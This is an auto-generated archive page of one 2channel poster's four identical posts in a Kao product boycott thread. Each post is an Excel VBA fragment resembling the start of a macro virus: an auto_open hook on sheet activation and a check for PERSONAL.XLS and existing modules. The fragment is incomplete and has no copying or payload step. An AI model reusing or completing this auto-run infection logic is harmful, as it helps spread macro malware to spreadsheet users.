必死チェッカーもどき既婚女性 > 2012年03月25日 > VbZ0AAwl0

トップページ > 既婚女性 > 2012年03月25日 > VbZ0AAwl0

書き込み順位＆時間帯一覧

535 位/4817 ID中	時間	0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16	17	18	19	20	21	22	23	Total
535 位/4817 ID中	書き込み数	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	1	3	0	0	4

使用した名前一覧	書き込んだスレッド一覧
可愛い奥様	【賛同者限定】花王製品の不買運動すすぎ214回目

書き込みレス一覧

【賛同者限定】花王製品の不買運動すすぎ214回目
97 ：可愛い奥様[sage]：2012/03/25(日) 20:59:01.97 ID:VbZ0AAwl0 ?-2BP(0): Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

【賛同者限定】花王製品の不買運動すすぎ214回目
98 ：可愛い奥様[sage]：2012/03/25(日) 21:01:21.48 ID:VbZ0AAwl0 ?-2BP(0): Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

【賛同者限定】花王製品の不買運動すすぎ214回目
99 ：可愛い奥様[sage]：2012/03/25(日) 21:03:28.17 ID:VbZ0AAwl0 ?-2BP(0): Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

【賛同者限定】花王製品の不買運動すすぎ214回目
100 ：可愛い奥様[sage]：2012/03/25(日) 21:05:31.50 ID:VbZ0AAwl0 ?-2BP(0): Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

※このページは、『２ちゃんねる』の書き込みを基に自動生成したものです。オリジナルはリンク先の２ちゃんねるの書き込みです。
※このサイトでオリジナルの書き込みについては対応できません。
※何か問題のある場合はメールをしてください。対応します。